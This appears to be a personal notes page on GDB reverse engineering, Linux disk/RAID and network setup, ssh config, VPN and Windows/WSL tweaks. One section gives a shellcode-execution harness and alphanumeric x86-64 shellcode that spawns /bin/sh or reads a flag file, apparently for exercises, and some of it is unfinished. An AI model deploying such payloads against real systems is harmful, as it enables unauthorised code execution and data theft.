Random Notes

杂七杂八给自己看的笔记

GDB 逆向调试

启动

可以直接控制台输入 gdb 并在 GDB 中指定程序(例为 crackme)。

$ gdb
+ (gdb)
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
+ (gdb) file crackme
Reading symbols from crackme...done.

或者也可以直接指定程序(假定 crackme 在当前目录下)。

$ gdb ./crackme

或者也可以把 GDB attach 到正在运行的程式上,这对于某些检查是否处于 debugger 环境中的程式比较有用。以下三种方式都可以实现 attach。

$ gdb -p pid
$ gdb progName pid

$ gdb progName
(gdb) attach pid

运行程序和断点

环境变量

可以使用 show env 查看环境变量讯息。

(gdb) show env

设置环境变量则可以用 set env ENV=value,比如下面添加了一个环境变量 FOO,值为 bar

(gdb) set env FOO = bar

gdb 内部会默认设置两个环境变量 LINESCOLUMNS。众所周知,环境变量是放在栈底(大地址)的,增加环境变量会影响栈帧地址的构成。如果希望能减少这种影响,可以用 unset 删除环境变量。

(gdb) unset env LINES
(gdb) unset env COLUMNS

运行程序

指定程序后并不会直接运行,需要使用 run 或者缩写 r

(gdb) r

需要传参的话可以在 run 之前 set args

(gdb) set args inputfile.txt
(gdb) r

或者直接 r args

(gdb) r inputfile.txt

运行命令也是可以的啦。

(gdb) r $(echo "hello!")

也可以使用 startstarti 来运行程序,本质上是在 main (如果是 C 或者 C++ 程序……有人用 gdb debug 其他语言吗?)处设置一临时断点后执行 run。所有传给 start 的参数都会 verbatim 地转递给 run

startistart 的区别是如果 main 函数存在 elaboration phase (比如 C++ 里全局变量的建构函数执行),starti 将会在 elaboration phase 的开头打临时断点。

断点

在程序运行前和运行中可以用 breakb 指定断点(breakpoint),可以使用函数名,行号(逆向的话通常不知道)和指令地址。

使用函数名断点:

(gdb) b main

使用行号断点:

(gdb) b 9

使用指令地址断点(根据汇编),注意因为是地址所以要用 b *address 格式。

譬如在汇编中注意到有 strcmp 函数调用:

(gdb) disas
Dump of assembler code for function main:
    0x080486a3 <+0>:     push   ebp
    ...
    0x080486d1 <+46>:    add    esp,0x8
    0x080486d4 <+49>:    push   0x8048817
    0x080486d9 <+54>:    lea    eax,[ebp-0x10]
    0x080486dc <+57>:    push   eax
+   0x080486dd <+58>:    call   0x8048420 <strcmp@plt>
    0x080486e2 <+63>:    add    esp,0x8
   ...

则可以在 call strcmp 处断点。

(gdb) b *0x080486dd
Breakpoint 2 at 0x80486dd: file crackme.c, line 15.

或者也可以用相对 main 的偏移(offset)来断点。

(gdb) b *main+58

程序运行到断点时会停止,这时可以查看汇编、寄存器值等操作。

(gdb) r
Starting program: /path/to/crackme
Breakpoint 1, main (argc=1, argv=0xffffd6c4) at crackme.c:9

可以使用 info breakpoint 或者 i b 查看当前所有的断点。删除断点则是用 delete <breakpoint number>d <breakpoint number>

查看汇编、寄存器值、变量值

汇编

disassembledisas 可以查看 当前 栈帧(frame)的汇编。比如刚才在 main 处打了断点,就能够查看 main 的汇编。

(gdb) disas
Dump of assembler code for function main:
   0x08048486 <+0>:     push   ebp
   0x08048487 <+1>:     mov    ebp,esp
   0x08048489 <+3>:     sub    esp,0x4
   ...

汇编格式默认是 AT&T, 不想看 AT&T 的阴间汇编的话要提前设置 assembly flavor。

(gdb) set disassembly-flavor intel

带上 /m 参数可以把源码和汇编一起排列(如果有源码的话),没有也能显示一组汇编对应的 c 程序行号,打断点更方便一些。

(gdb) disas /m
Dump of assembler code for function main:
7       in crackme.c
   0x08048486 <+0>:     push   ebp
   0x08048487 <+1>:     mov    ebp,esp
   0x08048489 <+3>:     sub    esp,0x4
   ...

寄存器

可以使用 info register 或缩写 i r 查看寄存器值。可能是最常用的操作了。

(gdb) i r
eax            0xf7fbcdd8       -134492712
ecx            0xfcf63fa0       -50970720
edx            0xffffd654       -10668
ebx            0x0      0
esp            0xffffd624       0xffffd624
ebp            0xffffd628       0xffffd628
esi            0xf7fbb000       -134500352
edi            0x0      0
eip            0x804848c        0x804848c <main+6>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99

变量

如果你知道变量名,可以用 print varp var 打印其内容,也可以打印寄存器内容。

比如打印 argv[0] (程序名)

(gdb) p argv[0]
$1 = 0xffffd7f4 "/path/to/crackme"

注意到 print 有一个自增 id,我们可以通过 print $id 来打印之前打印过的值。

(gdb) p $1
$2 = 0xffffd7f4 "/path/to/crackme"

x address 可以用来检视内存内容,比如 x $eax 会把 %eax 中存储的值解读为内存地址,并打印其内容。

px 可以用基本相同的一套格式化方法来指定要打印变量 / 内存地址被解读为何种类型。

  • /o:8 进制(octal)
  • /x:16 进制 (hexadecimal)
  • /u:无符号 10 进制(unsigned decimal)
  • /t:binary
  • /f:floating point
  • /a:address —— 这不还是 16 进制吗 =、=
  • /c:char
  • /s:string

x 模式还可以用 /i 采用指令(instruction)格式化方法。在搞 Buffer Overflow 的时候查看写进栈内的 shellcode 异常好用。

(gdb) x/7i 0xfffd6b0
  0xffffd6b0    add    ecx, esp
  0xffffd6b2    push   ecx
  0xffffd6b3    mov    ecx, esp
  0xffffd6b5    xor    edx, edx
  0xffffd6b7    push   0
->0xffffd6b9    sar    bl, 1
  0xffffd6bb    test   dword ptr [eax], 0

x 还能指定字符串的字符宽度(譬如 UTF-16le 或 UTF-8 字符宽度就可能为 2 或 3 个字节)。

  • b: byte
  • h: halfword (16-bit value)
  • w: word (32-bit value)
  • l: giant word (64-bit value)

来看看打印效果:

(gdb) x/bs 0x8048817
0x8048817:      "250381"
(gdb) x/ws 0x8048817
0x8048817:      U"\x33303532\x50003138\x77737361\x2064726f\x3a204b4f\x616c0029\x3a313062\x6f747574\x6c616972\x766e4900\x64696c61\x73615020\x726f7773Ⅴ\x31b0100䀻܀\xfffbc000烿\xfffc8000铿\xfffcd000峿\xfffda600\xa8ff\xfffe5300죿\xfffed000\xffff3000\x134ff᐀"
(gdb) x/hs 0x8048817
0x8048817:      u"㔲㌰ㄸ倀獡睳牯⁤䭏㨠)慬ぢ㨱畴潴楲污䤀癮污摩倠獡睳牯Ⅴ"
(gdb) x/ls 0x8048817
0x8048817:      "250381"

其他

如果想边看汇编边调试的话,可以用 layout asm 显示汇编和命令行。

(gdb) layout asm

效果如图:

layout asm

想要退出 layout 模式只需 Ctrl + X, A (按住 Ctrl + X 后再按 A,类似 VSCode 的 Ctrl + K, * 系列操作)。

layout 除了显示汇编,还可以显示其他内容。具体参数如下:

  • src : Displays source and command windows.
  • asm : Displays disassembly and command windows.
  • split : Displays source, disassembly and command windows.
  • regs : Displays register window. If existing layout

按步调试

continue 或缩写 c 可以让程序运行到下一个断点。

nextn 可以让程序运行到 当前栈帧 的下一条语句。在遇到函数调用时,next 不会跟踪进入函数。

steps 可以让程序运行到下一条语句。在遇到函数调用的时候,step 跟踪进入函数。

nextistepi 与不带 i 的指令类似,区别是他们会让程序运行到下一条汇编指令(i 指 instruction)。

Tips

觉得在 GDB 里看汇编太累的话可以 objdump 整个文件,在喜欢的编辑器里带着高亮慢慢看。 Sublime Text 3 推荐 NASM x86 Assembly 这个高亮。

$ objdump -M intel -d crackme > crackme.asm

使用 pwndbg 这个 GDB 插件可以把工作量(指记住 GDB 命令)减少很多。在每次运行到断点时 pwndbg 都会把可能需要的信息漂亮地打出来

pwndbg

Alphanumeric shellcode

Alphanumeric shellcode 限定所使用的汇编 opcode 只能在 0x20 ~ 0x7f 范围内——这正是“人类可读”的 ascii 字符的范围。所以如果你用如下代码编译出一份字节文件,你将得到一份看起来像乱码文本,但实际上又可执行的怪东西!

gcc -m64 -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.ascii

下面我们研究一下,如何书写一份 x86-64 风格的 alphanumeric shellcode。

限制与问题

WIP

演示 shellcode 执行

直接把传入的 shellcode 读到 buf 中并且将 buf 解释为函数指针执行 buf

#include <stdio.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>

char buf[2048];

int main()
{
  if (!fgets(buf, sizeof(buf), stdin))
    err(1, "Too long input");

  // a few info for debugging
  printf("> length: %d\n", (int)strlen(buf));
  for (int i = 0; i < strlen(buf); i += 1) {
    if (i % 16 == 0)
      printf("> %04X: ", i);
    printf("%02X ", (unsigned char)buf[i]);
    if (i % 16 == 15)
      printf("\n");
  }
  printf("\n");

  (*(void (*)()) buf)();
}

shellcode

 .global _start
        .text
_start:
        ; Set %rcx as stack pointer
        ; and align %rsp
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax

        ; Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       ; 0x14 on the stack now.
        pop %rax                        ; add back to %esp
        imul  $0x41, (%rcx), %edi       ; %rdi = 0x3cf, a "magic offset" for us
                                        ; This is decimal value 975.
                                        ; If this is too low/high, suggest a
                                        ; modification to xor of %al for
                                        ; changing the imul results

        ; Write the syscall
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)         ; 4 bytes have been nulled
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
        push %rax
        pop %rax                        ; Garbage reg
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)

        ; Sycall written, set values now.
        ; allocate 8 bytes for '/bin/sh\0'
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)

        ; Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx

        ; Store '/bin/sh\0' in %rdi
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)            ; '/bin'  just went onto the stack

        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            ; '/sh\0' just went onto the stack
        xor 0x30(%rcx), %rdi            ; %rdi now contains '/bin/sh\0'

        pop %rax
        push %rdi

        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi                ; %rdi zeroed
        pop %rax
        push %rsp
        xor (%rcx), %rdi
        xor $0x63, %al
#include <sys/syscall.h>

.globl main
.type main, @function

main:

    /* PART I : OPEN */
    /* start of buf 0x6020c0 */
    /* about 100 bytes long! */
    /* Set rcx as stack pointer */
    push $0x58
    push %rsp
    pop %rcx
    pop %rax

    /* rdx = 0x6020c0, start of buf*/
    movslq 0x50(%rcx), %rax
    push $0x30585040
    pop %rax
    xor $0x30387140, %rax
    push %rax
    pop %rdx

    /* Write the syscall to designated place */
    push $0x30302847
    pop %rax
    xor $0x30307522, %eax            /* 0x602100 */
    push %rax
    pop %rax                        /* Garbage reg */
    movslq (%rcx), %rsi
    xor %esi, 0x5b(%rdx)

    /* Sycall written, set values now.
     allocate 16 bytes for '/proc/flag\0' */
    movslq 0x50(%rcx), %rsi
    xor %esi, 0x50(%rcx)
    movslq 0x54(%rcx), %rsi
    xor %esi, 0x54(%rcx)
    movslq 0x58(%rcx), %rsi
    xor %esi, 0x58(%rcx)
    movslq 0x5c(%rcx), %rsi
    xor %esi, 0x5c(%rcx)

    /* Zero rdx, rsi, and rdi */
    movslq 0x50(%rcx), %rdi
    movslq 0x50(%rcx), %rsi
    push %rdi
    pop %rdx

    /* Store '/bin/sh\0' in %rdi */
    push $0x31315039
    pop %rax
    xor $0x31313758, %eax
    xor %eax, 0x58(%rcx)            /* 'ag\0\0'  just went onto the stack */

    push $0x58575a3b
    pop %rax
    xor $0x34317558, %eax
    xor %eax, 0x54(%rcx)            /* 'c/fl' just went onto the stack */

    push $0x5b43475a
    pop %rax
    xor $0x34313775, %eax
    xor %eax, 0x50(%rcx)           /* /pro just went onto the stack*/
    xor 0x50(%rcx), %rdi
    xor 0x58(%rcx), %rsi

    pop %rax
    pop %rax
    push %rsi
    push %rdi

    push $0x58
    movslq (%rcx), %rsi
    xor (%rcx), %rsi                /* %rsi zeroed */
    movslq (%rcx), %rdi
    xor (%rcx), %rdi                /* %rdi zeroed */
    pop %rax
    push %rsp
    xor $0x5a, %al
    xor (%rcx), %rdi               /* From here, rdi = pointer to /proc/flag */
                                   /* rsi = 0 = read mode */

/* This will be modified to syscall */
    push $0x58

    /***********************************/
    /********** PART2 : READ ***********/
    /***********************************/
    /* eax now has fd, move it to rdi */
    push %rax
    pop  %rdi

    /* rsp in rcx */
    push $58
    push %rsp
    pop  %rcx
    pop %rax

    movslq (%rcx), %rsi
    xor %esi, (%rcx)
    movslq (%rcx), %rsi
    xor %esi, (%rcx)

    /* rdx = 0x602060 */
    push $0x61616161
    pop  %rax
    xor  $0x61616161, %eax  /* empty rax */

    push $0x30585058
    pop %rax
    xor $0x30387138, %rax
    push %rax
    pop %rdx

    /* emtpy rax again */
    push $0x61616161
    pop  %rax
    xor  $0x61616161, %eax  /* empty rax */

    /* Write the syscall to designated place */
    push $0x30302847
    pop %rax
    xor $0x30307522, %eax            /* 0x005d65 */
    push %rax
                          /* Garbage reg */
    movslq (%rcx), %rsi
    xor %esi, 0x58(%rdx)

    /* Put 0x100 into %rdx */
    push $0x61616161
    pop %rax
    xor $0x61616061, %eax
    push %rax
    pop %rdx

    push $0x58
    pop %rax
    push %rcx
    pop %rsi
    xor $0x58, %al

/* To be syscall*/
    push $0x58


    /***********************************/
    /********** PART3 : WRITE ***********/
    /***********************************/
    /* rsp in rcx */
    push $0x58
    push %rsp
    pop  %rcx
    pop %rax   /* Garbage */

    /* Set rdx = 0x602200 */
    push $0x61616161
    pop  %rax
    xor  $0x61616161, %eax  /* empty rax */

    push $0x30586858
    pop %rax
    xor $0x30384a58, %rax /* TODO: the value is not correct now */
    push %rax
    pop %rdx

    /* emtpy rax again */
    push $0x61616161
    pop  %rax
    xor  $0x61616161, %eax  /* empty rax */

    /* Write the syscall to designated place */
    push $0x30302847
    pop %rax
    xor $0x30302847, %eax            /* 0x005d65 */
    push %rax
    pop %rax                      /* Garbage reg */
    movslq (%rcx), %rdi
    xor %edi, 0x58(%rdx)

    /* Put 0x100 into %rdx */
    push $0x61616161
    pop %rax
    xor $0x61616561, %eax
    push %rax
    pop %rdx

    push $0x58
    pop %rax
    xor $0x59, %al /* rax set to 1 */
    push %rax
    pop %rdi
    push %rax
    pop %rdi
    push %rax
    pop %rdi
    push %rax
    pop %rdi
    push %rax
    pop %rdi
    push %rax
    pop %rdi

/* To be syscall*/
    push $0x58

Reference

  1. NetSec: Alphanumeric Shellcode

Disk Management

Normal Disk Operations

Add a disk

List the disk currently have in hand. Or just lsblk will also do.

$ lsblk -o NAME,SIZE,FSTYPE,TYPE,MOUNTPOINT
NAME         SIZE FSTYPE            TYPE  MOUNTPOINT
sda          256G                   disk
sdb          256G                   disk /

Format new disks.

$ mkfs -t ext4 /dev/sba
$ mkfs.ext4 /dev/sba

Mount the formatted disk to certain directory.

$ mount /dev/sba /mnt/sba

Add to /etc/fstab so that you don't need to mount it every time the device boots (how does it work?).

$ sudo bash -c 'echo "/dev/sba /mnt/sba ext4 defaults 0 0" >> /etc/fstab

Or use UUID.

$ UUID=$(sudo blkid | grep /dev/sba | cut -f2 -d ' ' | sed -e 's/\"//g')
$ sudo bash -c 'echo "${UUID} /mnt/sba ext4 defaults 0 0" >> /etc/fstab'

Or add a label to the disk and use the label to mount.

$ sudo e2label /dev/sba DISK1
sudo bash -c 'echo "LABEL=DISK1 /mnt/sba ext4 defaults 0 0" >> /etc/fstab'

Optimize disk performance

Adjust the readahead value to increase IO performance

$ sudo blockdev /dev/sba
256

The readahead value is <desired_readahead_bytes> / 512 bytes.

For example, for an 8-MB readahead, 8 MB is 8388608 bytes (8 * 1024 * 1024).

8388608 bytes / 512 bytes = 16384

Set blockdev to 16384 to havea 8-MB readahead.

sudo blockdev --setra 16384 /dev/sba

RAID Operations

The best option to make a software RAID array is mdadm. You can get it from apt or other package manager.

$ sudo apt install mdadm

Normal operations

Check RAID configuration

$ sudo mdadm --detail --scan

Check RAID operation progress / whether there is already a RAID array available

$ cat /proc/mdstat
Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10]
md0 : active raid5 nvme5n1[0] nvme7n1[2] nvme6n1[1] nvme8n1[4] nvme9n1[5]
      60011155456 blocks super 1.2 level 5, 512k chunk, algorithm 2 [5/5] [UUUUU]
      bitmap: 0/112 pages [0KB], 65536KB chunk

unused devices: <none>

Create and resize a RAID array

Create a RAID5 disk array called /dev/md0 with /dev/sda /dev/sdb and /dev/sdc (might take quite some time)

Note that actually a RAID5 disk array can only be named in the form of /dev/md[0-9]+

$ sudo mdadm --create --verbose /dev/md0 \
  --level=5 --raid-devices=3 /dev/sda /dev/sdb /dev/sdc

Grow a RAID5 disk array /dev/md0 with 1 new disk called /dev/sdd (might take quite some time)

$ sudo mdadm --add /dev/md0 /dev/sdd
$ mdadm --grow --raid-devices=5 /dev/md0

Reference

  1. Google Cloud Docs: Optimizing persistent disk performance

Ubuntu 18.04 Internet Connection Sharing

Our school has some weird regulations that each lab can only get 1 internet LAN cable assigned. But our lab has multiple servers and all of them need internet connection. So I (as the server manager) decided to set up internet connection sharing.

Requirements

A gateway server with 2 Network Interface Card (NIC)s, eth0), connects to the internet, eth1 connects and manages the internal network.

The netplan configuration looks as follows:

eth0:
    addresses: [<some ip>/24]
    gateway4: <some gateway>
    nameservers:
        addresses: [8.8.8.8,8.8.4.4] # important!
    dhcp4: no
    dhcp6: no
eth1:
    address: [10.0.0.101/24]
    dhcp4: no
    dhcp6: no

eth1 can have whatever address falls in private IP subnet.

Gateway setup

Enable IP forwarding

Execute the following command

sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

Also edit /etc/sysctl.conf by uncommenting this line

#net.ipv4.ip_forward=1

Set up NAT rules

sudo iptables -A FORWARD -o eth0 -i eth1 -s 10.0.0.0/24 -m conntrack --ctstate NEW -j ACCEPT
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -t nat -F POSTROUTING
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

The first rule allows forwarded packets (initial ones). The second rule allows forwarding of established connection packets (and those related to ones that started). The third rule does the NAT.

Automatic setup

Save the iptables:

sudo iptables-save | sudo tee /etc/iptables.sav

Edit /etc/rc.local and add the following lines before the exit 0 line

iptables-restore < /etc/iptables.sav

Client setup

Open /etc/netplan/whatevername.yaml and edit it

eth0:
    address: [10.0.0.102/24]
    gateway: 10.0.0.101 # important!
    nameservers:
        addresses: [8.8.8.8,8.8.4.4] # important!

It is very important that:

  1. gateway address is the intranet IP of the gateway computer
  2. nameservers should use the same ones as the gateway computer

Once editted, run the fllowing command

sudo netplan apply

And then you can check the internet connetion by pinging some famous websites

$ ping www.google.com
PING www.google.com (172.217.27.68) 56(84) bytes of data.
64 bytes from nrt12s15-in-f68.1e100.net (172.217.27.68): icmp_seq=1 ttl=112 time=36.3 ms
64 bytes from nrt12s15-in-f68.1e100.net (172.217.27.68): icmp_seq=2 ttl=112 time=89.8 ms
64 bytes from nrt12s15-in-f68.1e100.net (172.217.27.68): icmp_seq=3 ttl=112 time=58.2 ms
...

ssh config

  • $HOME/.ssh/config -- personal configuration
  • /etc/ssh/ssh_config -- global configuration

Format:

Host <alias>
    SSH_OPTION  value

Common options

Host * # match all hosts
    User matchy
    IdentityFile $HOME/.ssh/id_ed25519

Host cloud
    HostName dev.example.com
    # automatically use "matchy" as the User
    # automatically use id_ed25519 as the IdentityFile

Host dev
    HostName 147.47.233.45
    User mischa # overwrites User="matchy"
    Port 2333
    IdentityFile $HOME/.ssh/id_rsa # overwrites

Port forwarding

Host to_forward
    # ...
+   LocalForward <port-to-forward> 127.0.0.1:<port-on-local>

Jump/Bastion server make-easy

ProxyJump is available since OpenSSH version 7.5.

 Host bastion
     HostName transfer.example.com
     User matchy
     IdentityFile ~/.ssh/id_ed25519

 Host node
     HostName 192.168.50.233 # the intranet IP to the bastion
+    ForwardAgent yes
+    ProxyJump bastion

If your ssh is olderthan OpenSSH 7.5 but newer than OpenSSH 5.4 (assuming bastion config exists in the ssh config):

 Host node
     # ...
+    ProxyCommand ssh bastion -W [%h]:%p

If your ssh is even older than OpenSSH 5.4...

 Host node
     # ...
+    ProxyCommand ssh bastion nc -q0 %h %p 2> /dev/null

Change starting directory

RemoteCommand is available since OpenSSH version 7.5.

 Host node
     # ...
+    RequestTTY force
+    RemoteCommand cd /path/to/your/directory && bash -l

The command bash -l means starting a bash session as the login shell. Alternatively, if you prefer zsh or fish (or any other shells), simply use zsh -l or fish -l instead.

To Dos

  • Avoid broken pipe

Use perf to profile

Installation

perf is available in the linux-tools package.

To enable perf to profile user-space applications, you need to install the linux-tools-generic package.

To enable perf to profile kernel-space applications, you need to install the linux-tools-uname -r` package.

sudo apt install linux-tools-common linux-tools-generic linux-tools-`uname -r
 sudo sysctl kernel.perf_event_paranoid=-1
 sudo sysctl kernel.kptr_restrict=0
 sudo mount -o remount,mode=755 /sys/kernel/tracing/

Usage

perf record -- <command>

i18n related settings (LANG, LANGUAGE, LC_ALL etc)

On Ubuntu, because I am using Ubuntu.

Explanation of LC_* variables

  • LANG: default locale
  • LANGUAGE: list of languages in order of preference
  • LC_ALL: overrides all other LC_* variables, for debugging

Technically the order of precedence is LANGUAGE > LC_ALL > LC_* > LANG. (According to locale(7))

Behavior on Ubuntu

This is an observation on Ubuntu 20.04, when I try to switch from Chinese (accidentally and automatically for no reason set for a newly created user) to English.

Is it in English?LANG=en_USLANGUAGE=en_USLC_ALL=en_US
Display language
vim messages
apt messages
welcome message*
sudo prompt

*: It's the content in /var/run/motd.dynamic that is displayed when you log in.

Bibliography

VPN via Cisco Anyconnect

I always work on a remote server, and I need to connect to the university network to access some resources and do homework submission. Hence I need to set up a VPN nn that server (where I have sudo rights)

Setting up Unibas VPN

Download Linux VPN Client with:

$ wget --user <unibas-long-username> --password <unibas-password> \
  https://data.its.unibas.ch/extern/vpn/Linux/anyconnect-linux64-4.10.06079-core-vpn-webdeploy-k9.sh

As instructed, run the script with sudo:

$ sudo chmod +x anyconnect-linux64-4.10.06079-core-vpn-webdeploy-k9.sh
$ sudo ./anyconnect-linux64-4.10.06079-core-vpn-webdeploy-k9.sh

Cisco VPN client will be installed to /opt/cisco/anyconnect/.

Initially tried /opt/cisco/anyconnect/bin/vpn connect vpn.mobile.unibas.ch, but the required authentication method is not supported for CLI.

The tried Remote Desktop + the GUI client. But was prompted:

VPN establishment capability for a remote user is disabled.
A VPN connection will not be established.

It's because inside the profile of cisco anyconnect the VPN establishment is configured to LocalUserOnly (for Linux if you install to the default path, the configuration xml file will locate in /opt/cisco/anycconnect/profile/).

<WindowsVPNEstablishment>LocalUserOnly</WindowsVPNEstablishment>
<LinuxVPNEstablishment>LocalUserOnly</LinuxVPNEstablishment>

Change it to AllowRemoteUsers will solve the problem. But Cisco will always re-write the configuration file to LocalUserOnly after you close the GUI client. So it is necessary to watch the file and re-write it back to AllowRemoteUsers after it is changed.

Hack Cisco AnyConnect VPN's configuration

TODO

Ref

How to enable (and hack) Cisco AnyConnect VPN through Remote Desktop

在 Windows 10 上装 X

Motivation: 为啥装 X?

  1. 在 WSL 还在刀耕火种时期,想要在 WSL 上使用 GUI 应用需要 Windows 上安装有 X server
  2. 不用 MobaXTerm 或者 PuTTY (这些为 Windows 设计的 terminal emulator 开发比较完善,内建 X forwarding 解决方案) 也能转发 GUI 时需要 Windows 上装有 X server 才能 forwarding

安装 Xserver 和 HiDPI 设置

Windows 上的 Xserver 有好几个选择,我用的是 VcXsrv。如果你用 choco 或者 scoop,还能更方便,可以直接 choco install vcxsrv 或者 scoop install vcxsrv(不过 scoop 需要先 scoop bucket add extras)。

可爱强强又富有的狗哥推荐了微软应用商店的 X410,看起来和 Windows 10 整合得很优秀,不过真的好贵啊……

然后是 HiDPI 设置,一般通过轻薄本现在应该都至少是 2K 或 3K 屏幕了。不设置一下的话字体会糊。

首先找到软件的安装路径,比如 C:\Program Files\VcXsrv,然后对两个可执行文件 vcxsrv.exe 和 xlaunch.exe 执行以下操作:

  1. 右键点击可执行文件
  2. 进入 Properties -> Compatibility -> Change high DPI settings -> High DPI scaling override
  3. 选中 Override high DPI scaling behavior
  4. 将 Scaling performed by 选项设为 Application

vcsrv HiDPI setting

服务器端设置

确保要连接到的服务器上 sshd 被正确配置。在 /etc/ssh/sshd_config 中确保 X11Forwarding 被设置为 yes

X11Forwarding yes

如有需要,可以设置 X11DisplayOffset,默认是 10。

X11DisplayOffset 10

启动 Xserver

在开始菜单查找 XLaunch 并运行,一路默认就可以开启 Xserver。

如果之前设置了 X11DisplayOffset,在启动时注意不要让 vcxsrv 自己设置 DISPLAY (默认 -1),不然它会随机选一个数字……在之后设置客户端的时候有点头痛。

如果是 WSL2,记得还要关闭 access control。用命令行的话就是添加 -ac 选项。

客户端 (Windows/WSL) 设置

为了能够成功进行 X forwarding,客户端需要设置好 $DISPLAY 环境变量。这可不是 Unix,没法直接 export DISPLAY=:0。想要把远端 forward 到 Windows 上看下面的 "Windows 设置", "WSL 设置" 是为了在 WSL 上使用 GUI 应用的。

Windows 设置

打开 PowerShell,输入以下指令即可在当前 terminal 临时设置 DISPLAY 环境变量:

$env:DISPLAY='localhost:<display_offset>.0'

如何一劳永逸:打开你的 PowerShell profile 文件(一般是 $HOME\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1,也可以 notepad $PROFILE 打开, $PROFILE 不区分大小写),把上面的指令加进去, 再 . $PROFILE 一下就好了。

WSL 设置

WSL1 可以 export DISPLAY=localhost:10.0 , WSL2 就要指定 IP 了。 可以这样一劳永逸:

export DISPLAY=$(awk '/nameserver / {print $2; exit}' /etc/resolv.conf 2>/dev/null):10.0

这里也设置了一下 LIBGL_ALWAYS_INDIRECT,虽然窝目前好像也没什么 3D rendering 需要……

export LIBGL_ALWAYS_INDIRECT=1

然后是 WSL 方面的 HiDPI 显示设置,当然是有多种解决方案的。参考 Arch Linux wiki 有关 HiDPI 的页面 (写得超级棒!),感觉设置 GTK(GDK)的环境变量是最泛用的。

我的方案:

export GDK_SCALE=1
export GDK_DPI_SCALE=1.5

这个数值在小新 Pro 13 的 2K 屏幕上对于大多数应用效果都不错。不过 JB 家的 IntelliJ IDEA 和 CLion 因为是 Swing 应用, UI scale 只支援整数倍,1.5 似乎相当于 scale 到 2 了,导致字都看起来非常大……不过可以通过调整字体大小解决。

这个表格大致整理了应该修改哪些地方(基于 CLion 2020 的菜单层级):

设置项作用
Appearance & Behavior > Appearance > Use Custom Font设置绝大多数 UI 字体
Editor > Font
Editor > Color Scheme > Color Scheme Font
设置编辑器(写代码的区域)的字体
Editor > Color Scheme > Console Font设置内建终端(Integrated Terminal)的字体

大功告成!

设置好 DISPLAY 和 HiDPI 支援并开启 Xserver 之后就能运行 GUI 应用了。

可以拿 xeyes 测试一下:

sudo apt install x11-apps
xeyes

不出意外你就能看到熟悉的弱智小眼球了。

也能正常使用安装在 WSL 的 Sublime Text、CLion、IntelliJ IDEA 等等。

JetBrains IDE 的进一步调整

装了 JB 家的几个 IDE 之后发现没法即开即用,还要再配置点东西。

Use Windows default browser

WSL 没有默认浏览器(当然),而 JB 家 IDE 的 markdown 渲染器依赖 JCEF,所以必须得有个浏览器。我们可以用 Windows 的浏览器:

打开 Settings > Tools > Web Browsers,将 Default Browser 的路径改为 /mnt/c/path/to/your/browser/browser.exe 即可。

Resolve JCEF dependency issue

JCEF 依赖的 libcef.solibjcef.so 两个库都有一大堆依赖。根据 event log 的报错安装一下就好了。我缺 libXsslibgbm

$ sudo apt install libxss1 libgbm1

CJK 字体支援

当然可以手动安装字体,不过也可以在 /usr/share/fonts/ 创建连到 Windows 字体库的软链接:

sudo ln -s /mnt/c/Windows/Fonts/ /usr/share/fonts/WindowsFonts

然后 logout 再登入,或用 fc-cache 手动 index 字体库,即可愉快阅览中日韩内容。

fc-cache -f -v

其他

Windows 计划推出 WSLg,以后估计就不用这样了。

Reference

  1. 鸟哥的 Linux 私房菜:第二十三章、X Window 设定介绍
  2. Lainme's Blog:如何优雅的在 Linux 上装 X

Tricks on Windows

Windows 上的一些奇技淫巧

PowerShell

Concise error message

# PowerShell 7.0+
$ErrorView = 'ConciseView'
# PowerShell 5.0+
$ErrorView = 'CategoryView'

But honestly, ConciseView will still sometimes produce multiline error message. Especially when the error is generated from a PowerShell script.

强制删除任何文件以及文件夹

First thing first: Run cmdlet as Administrator.

删除文件

del /f <path-to-file>

删除文件夹

takeown /f <path-to-file> /r /d y
icacls <path-to-file> /grant administrators:F /t
rd /s /q <path-to-file>

删除 Service

In short, use sc delete <service-name>.

sc stop <service-name>
sc delete <service-name>

But the service name must be short service name.

Use sc query to get the short service name.

$ sc query state= all | find "<service-name>"
  SERVICE_NAME: <service-name>

Sometimes you might need to print the context of your search because you might match to DISPLAY_NAME instead of SERVICE_NAME. cmd does not have grep like powerful string search tool (neither find nor findstr can do this). Use Select-String in PowerShell instead.

Note that sc is the alias of Set-Content in PowerShell. One should use sc.exe to call the sc command.

# print 5 lines before and after the match
sc.exe query state= all | Select-String -Pattern "<service-name>" -Context 5, 5

Effective Shell

功能快捷键
定位到行开头Ctrl + A 或者 Home
定位到行末尾Ctrl + D 或者 End
向前(行首)移动
一个词
